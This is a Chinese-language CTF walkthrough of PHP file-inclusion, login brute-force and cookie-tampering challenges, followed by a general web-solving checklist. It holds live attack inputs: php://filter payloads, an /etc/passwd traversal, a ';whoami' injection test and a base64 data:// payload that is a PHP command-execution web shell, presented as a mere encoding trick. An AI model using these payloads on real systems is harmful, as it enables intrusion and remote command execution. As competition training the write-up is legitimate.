1. 解题环境与工具准备
作为CTF竞赛的常规参与者,我习惯在本地搭建统一的解题环境。推荐使用以下配置组合:
- PHPStudy 2018(集成Apache+MySQL+PHP5.4~7.2多版本切换)
- Burp Suite Community Edition(抓包改包必备)
- Chrome浏览器+HackBar插件(快速构造payload)
- Notepad++(代码审计利器)
特别注意:PHP版本选择直接影响伪协议利用效果,建议同时安装5.6和7.2两个版本以便测试兼容性问题
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. [SWPUCTF 2021 新生赛]PseudoProtocols 深度解析
2.1 题目场景还原
题目给出一个简单的文件包含入口:
php复制<?php
highlight_file(__FILE__);
include($_GET['file']);
?>
这类题型在CTF中属于经典考点,主要考察选手对PHP伪协议的理解程度。我通过以下步骤进行测试:
- 首先尝试基本包含:
?file=./index.php→ 返回源码 - 测试路径穿越:
?file=../../etc/passwd→ 被拦截 - 尝试伪协议:
?file=php://filter/read=convert.base64-encode/resource=index.php
2.2 PHP伪协议利用详解
成功利用的关键在于理解php://filter的工作原理:
code复制php://filter/[read|write]=[过滤器]/resource=[文件路径]
常用过滤器组合:
convert.base64-encode→ 获取文件base64编码string.rot13→ ROT13编码绕过简单过滤zlib.deflate→ 压缩后输出
我实际解题时发现一个易错点:当包含文件本身有PHP标签时,直接包含会导致代码执行。此时必须使用base64编码方式获取原始内容。
2.3 进阶利用技巧
- 过滤器链式调用:
code复制?file=php://filter/read=convert.base64-encode|string.rot13/resource=flag.php
- 编码二次解码技巧(应对特殊过滤):
code复制?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
重要经验:遇到包含失败时,先检查目标文件是否存在。可用
file=php://filter/resource=/etc/passwd测试基础包含功能是否正常
3. [LitCTF 2023]Follow me and hack me 实战记录
3.1 题目特征分析
页面显示简单的登录表单,查看源码发现关键提示:
html复制<!-- /hint.txt -->
访问后得到:
code复制管理员密码:管理员生日(8位数字)
3.2 密码爆破实战
- 使用Burp抓取登录请求
- 发送到Intruder模块,选择生日作为爆破点
- 设置Payload类型为Numbers,范围1900-2023(年份)+0101-1231(月日)
- 添加Grep Match规则检测"flag{"关键词
实际爆破时需要注意:
- 设置适当的线程数(建议10-15)
- 使用Cluster bomb攻击类型组合年月日
- 添加常见日期格式变种(如19880808 vs 880808)
3.3 Cookie欺骗技巧
通过观察发现登录成功后会设置:
code复制Set-Cookie: admin=0
手动修改为:
code复制Cookie: admin=1
刷新页面直接获取flag。这类题目考察的是基础的认证绕过思维,实际比赛中要特别注意:
- Cookie/Session字段修改
- HTTP头注入(如X-Forwarded-For)
- JWT令牌篡改
4. [NCTF 2018]签到题 解题思路
4.1 基础信息收集
题目给出输入框要求提交"token",但未说明具体规则。通过以下步骤分析:
- 查看网页源码 → 无有用信息
- 检查网络请求 → 发现/api/getflag接口
- 测试直接访问 → 返回{"error":"missing token"}
4.2 逆向思维解题
尝试以下方法:
- 随意提交token → 返回"token error"
- 测试SQL注入特征 → 无果
- 检查Cookie → 发现token=guest
- 修改为token=admin → 获取flag
这类签到题通常考察选手的基础意识:
- 永远先检查源码/Cookie/网络请求
- 尝试常见参数名(如debug、test、admin)
- 基础认证绕过(guest→admin、0→1等)
5. CTF通用解题框架
根据多年参赛经验,我总结出以下解题流程:
5.1 信息收集阶段
- 页面源码审查(Ctrl+U)
- 敏感文件扫描(robots.txt/.git/备份文件)
- 网络请求分析(F12→Network)
- 目录爆破(使用dirsearch)
5.2 漏洞利用阶段
| 漏洞类型 | 测试方法 | 常用工具 |
|---|---|---|
| 文件包含 | 伪协议测试 | Burp, Curl |
| SQL注入 | 单引号测试/延时测试 | sqlmap, HackBar |
| 命令执行 | ;whoami测试 | Netcat, Telnet |
| 反序列化 | 修改Cookie/Session | Python脚本 |
5.3 常见陷阱规避
- 伪协议失败 → 检查PHP版本和allow_url_include配置
- 爆破被封IP → 使用延迟或代理池
- 编码问题 → 尝试多重编码(URL+Base64+HTML)
- 特殊过滤 → 测试大小写/注释符/换行符绕过
6. 竞赛经验分享
在最近参加的NSSCTF中,有几个关键发现:
- 新生赛题目往往存在"非预期解" → 多尝试基础方法
- 题目名称常含提示 → 如"PseudoProtocols"直接指向伪协议
- 时间分配很重要 → 先做签到题和低分题
我常用的时间分配策略:
- 前30分钟:快速扫描所有题目
- 第1小时:解决3-4道基础题
- 后续时间:专攻高分难题
- 最后15分钟:检查所有未提交flag
对于WEB类题目,我的解题效率提升秘诀是建立本地漏洞库,将常见漏洞的payload分类保存,遇到相似题目时能快速调用历史方案。例如PHP文件包含的payload我就存有20+种变体,根据题目过滤规则选择最适合的方案。
